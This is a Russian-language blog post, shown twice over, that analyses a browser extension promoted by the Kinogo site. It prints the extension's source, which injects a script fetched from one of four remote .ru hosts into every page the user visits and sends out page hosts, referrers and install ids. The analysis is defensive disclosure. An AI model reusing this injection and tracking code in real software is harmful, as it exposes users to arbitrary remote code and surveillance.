Продолжая тему обзора расширений, рассмотрим следующее.
При входе на сайт Kinogo начал возникать баннер:

Мне стало интересно что это за расширение и решил просмотреть код.
Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):

Стоит отметить, что расширений существует несколько (не меньше 3-х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.
Название: Angry Racoon — уход от бана
Дата последнего обновления: 5 Мая 2015.
Версия: 1.0.3
Коротко опишу, только интересную цепочку:
1. Разбор любого расширения начинается с manifest.json
2. Из значения ключа «content_scripts» следует, что, кроме фреймворков, на КАЖДУЮ открытую пользователем страницу подключается файл process.js
3. В process.js с помощью функции require подключается файл «content.js»
4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js
5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.
6. Итак, функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.
7. Поиск получения файла с кодом для отдачи url аналогичен пунктам выше, поэтому просто цепочка:
8. Рассмотрим backgroundUtils.js
9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4-х url (рандомно).
10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4-х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.
Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:

А теперь соберем все воедино:
1. Довольно популярный сайт просит установить расширение.
2. Расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все, что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).
3. Помимо скрипта, идет явная отправка информации о пользователе: посещенные страницы и рефереры для данных страниц.
Выводы делайте сами.
P.S. Ранее в статье содержалась фраза «Продолжая тему вредоносных расширений, рассмотрим следующее.». Она была сознательно убрана. Еще раз акцентирую внимание на том, что цель статьи — показать, какими функциями и возможностями обладает код данного расширения помимо заявленных.
При входе на сайт Kinogo начал возникать баннер:

Мне стало интересно что это за расширение и решил просмотреть код.
Почему появилось расширение?
Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):

Текст со скриншота
Всем привет! С недавних пор мы запустили на kinogo.co оповещение для посетителей, касающиеся установки наших плагинов (под Mozilla Firefox, Google Chrome, Яндекс Браузер и тд), направленных на обход возможной блокировки нашего проекта провайдерами РФ и граничащих с РФ странами. Мы подтверждаем, все плагины наши, и мы активно их поддерживаем.
Единственный, плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержки Internet Exploler не будет.
Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться, от него закрыв окошко.
Единственный, плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержки Internet Exploler не будет.
Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться, от него закрыв окошко.
О расширении
Стоит отметить, что расширений существует несколько (не меньше 3-х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.
Название: Angry Racoon — уход от бана
Дата последнего обновления: 5 Мая 2015.
Версия: 1.0.3
Обзор кода расширения
Коротко опишу, только интересную цепочку:
1. Разбор любого расширения начинается с manifest.json
manifest.json
{ "background": { "page": "html/background.html" }, "content_scripts": [ { "js": [ "core/frameworks/cajon.js", "core/frameworks/jquery.js", "core/process.js" ], "matches": [ "*://*/*" ], "run_at": "document_start" } ], "description": "Мы анализируем каждый сайт который вы посещаете и боремся за свободный Интернет!", "icons": { "128": "images/128.png", "16": "images/16.png", "48": "images/48.png" }, "manifest_version": 2, "name": "Angry Kino - уход от бана", "permissions": [ "webRequest", "webRequestBlocking", "webNavigation", "tabs", "\u003Call_urls>" ], "update_url": "https://clients2.google.com/service/update2/crx", "version": "1.0.3", "web_accessible_resources": [ "images/_.png", "core/content.js", "core/contentSession.js", "core/messaging.js", "core/frameworks/uri.js", "core/backgroundHandlers.js", "core/backgroundSession.js", "core/backgroundUtils.js" ] }
2. Из значения ключа «content_scripts» следует, что, кроме фреймворков, на КАЖДУЮ открытую пользователем страницу подключается файл process.js
process.js
require.config({ baseUrl: chrome.extension.getURL('/') }); require([ "core/content" ], function() { });
3. В process.js с помощью функции require подключается файл «content.js»
content.js
define(function (require) { exports = {}; (function () { var messageDispatcher = require('core/messaging').MessageDispatcher; messageDispatcher.sendToBackground( { cmd: 'GetRequestUrl' }, function (url) { if (url) { url = url.replace(/^https?:/, '') + '&r=' + encodeURIComponent(document.referrer) + '&h=' + encodeURIComponent(document.location.host) + '&rand=' + (new Date()).getTime(); if (document.head) { $("head").append($("<script />", { src: url })); } else { var i = setInterval(function () { if (document.head) { clearInterval(i); $("head").append($("<script />", { src: url })); } }, 100); } } }); if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) { var i2 = setInterval(function () { if (document.body) { clearInterval(i2); $("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide()); } }, 100); } }).call(this); return exports; });
4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js
messaging.js
define(function (require) { exports = {}; (function () { var _handlers = {}; function dispatcher(handlers, request, sender, sendResponse) { if (!request || !request.cmd || !(typeof request.cmd === 'string')) { throw 'Error: Bad request!'; } var handlerName = 'handle' + request.cmd; var handler = handlers[handlerName]; if (!(typeof handler === 'function')) { return; } handler(request.args, sender, sendResponse); } chrome.extension.onMessage.addListener( function (request, sender, sendResponse) { dispatcher(_handlers, request, sender, sendResponse); } ); exports.MessageDispatcher = { addHandlers: function(handlers) { for(var name in handlers) { _handlers[name] = handlers[name]; } }, sendToBackground: function (request, callback) { callback = callback || $.noop; chrome.extension.sendMessage(request, callback); }, sendToContentScript: function (tabId, request, callback) { callback = callback || $.noop; chrome.tabs.sendMessage(tabId, request, callback); } }; }).call(this); return exports; });
5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.
6. Итак, функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.
7. Поиск получения файла с кодом для отдачи url аналогичен пунктам выше, поэтому просто цепочка:
manifest.json ==(key "background.page")==> background.html backround.html ==(script)==> demon.js demon.js ==(require)==> backround.js background.js ==(require)==> backgroundHandlers.js backgroundHandlers.js ==(require)==> backgroundUtils.js
8. Рассмотрим backgroundUtils.js
backgroundUtils.js
define(function (require) { exports = {}; (function () { var Session = require('core/backgroundSession').Session; var ProxyGetter = require('core/proxy').ProxyGetter; exports = { getRequestUrl: function() { if (ProxyGetter.serverIp) { return ( ProxyGetter.serverIp + '/getscripts2?' + this.getRequestParams() ); } }, getRequestParams: function() { return ('&b=' + Session.buildId + '&uid=' + Session.instanceId + '&insd=' + Session.installDate + '&sid=' + '&df=' ); }, sendNotify: function(from, to) { if (ProxyGetter.serverIp) { var url = ( ProxyGetter.serverIp + '/kinogo_log?' + this.getRequestParams() + '&from=' + encodeURIComponent(from) + '&to=' + encodeURIComponent(to) ); $.get(url); } } }; }).call(this); return exports; });
9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4-х url (рандомно).
'http://outrageous.ru', 'http://thrilling.ru', 'http://frightened.ru', 'http://agitated.ru',
proxy.js
define(function (require) { exports = {}; (function () { /** * Bypass protection from Roskomnadzor */ var reserveLinks = [ 'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru', 'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru', 'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru', 'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru', ]; var ProxyGetter = {}; ProxyGetter.serverIp = null; /** * Use proxy * @param {type} callback * @returns {undefined} */ ProxyGetter.findServer = function (callback) { ProxyGetter.serverIp = null; if(reserveLinks.length > 0) { ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)]; } callback(); }; exports.ProxyGetter = ProxyGetter; }).call(this); return exports; });
10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4-х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.
Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:

А теперь соберем все воедино:
1. Довольно популярный сайт просит установить расширение.
2. Расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все, что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).
3. Помимо скрипта, идет явная отправка информации о пользователе: посещенные страницы и рефереры для данных страниц.
Выводы делайте сами.
P.S. Ранее в статье содержалась фраза «Продолжая тему вредоносных расширений, рассмотрим следующее.». Она была сознательно убрана. Еще раз акцентирую внимание на том, что цель статьи — показать, какими функциями и возможностями обладает код данного расширения помимо заявленных.
